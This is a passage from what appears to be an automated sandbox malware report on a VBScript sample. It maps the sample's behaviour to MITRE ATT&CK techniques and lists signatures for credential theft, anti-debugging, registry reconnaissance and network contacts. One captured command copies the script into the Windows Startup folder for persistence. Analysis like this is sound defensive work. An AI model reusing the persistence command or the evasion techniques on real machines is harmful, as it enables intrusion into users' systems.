keylogger"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"$25","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2396)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3724)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2752)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import asymmetric cryptographic keys into a CSP","description":"$26","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import cryptographic keys into a CSP","description":"$27","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"\"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"40c3460000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"e0321b0000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"701a130000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"b07d530000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to decrypt a block of data","description":"$28","origin":"API Call","mitre_attack_id":"T1140","relevance":3,"id":"api-207","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to encrypt a block of data","description":"\"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"9f209e4a27f9c2a05c8b652dfdeba720153aecb89a2a93e10e6a673fb3f8fcca\"}\n \"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"fe190df984a1aad7e7e1f0fc9baf00cefffd3d43f475044d2c84dc5a2e15cc709403b96f01def4cd11236865d4140bb5fad1a37bb678dbe74f2db868d0d4237f99d24188526ecaa8a91e92e5e4ffc3d253a3f52c588fc7bcd1738f7f00db3c2762702607b6588ba6e80885d70e6ca0d504dd2b3c3a5d763be015ef6152cb00c543f2756a18aab0c363b3ed855d00d0d8ee51da8b7bf5de370013b0a40f45b42c\"}","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-206","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506\" has high entropy 7.99568798138569\n Dropped file \"%TEMP%\\Cab8E67.tmp\" has high entropy 7.99568798138569","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains ability to decode base64 data","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003604)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"3604\" - (UID: 00000000-00003604)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2396\" - (UID: 00000000-00002396)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"3724\" - (UID: 00000000-00003724)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2752\" - (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002396)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003724)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003604)\n \"PING.EXE\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003684)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002396)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002396)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00003724)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\.net clr networking\" - (UID: 00000000-00002752)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00002752)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003604)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003604)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00003604)\n \"cmd.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003244)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002396)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002396)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"set \"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")\n \"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"$2d","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"powershell.exe\" called \"CopyFileW\" to copy C:\\EGK.vbs to new location %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs (UID: 00000000-00002396)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$30","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$31","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$32","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.215.45:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','C:\\Use\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003604-00000C41-18446744058409913714\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"\n \"Global\\.net clr networking\"\n \"RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"Tar8E77.tmp\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"$33","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at ED6B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at ECD10000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FCFB0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FCAA0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FF6E0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FF6E0000\n \"PING.EXE\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FF6E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FF6E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$37","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$38","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00000000-00003244) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00003244) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"powershell.exe\" (UID: 00000000-00003724) was launched with new environment variables: \"MEOW=\"%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\\"\"\n Process \"powershell.exe\" (UID: 00000000-00002752) was launched with modified environment variables: \"PSModulePath\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"uploaddeimagens.com.br\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\desktop.ini\"\n 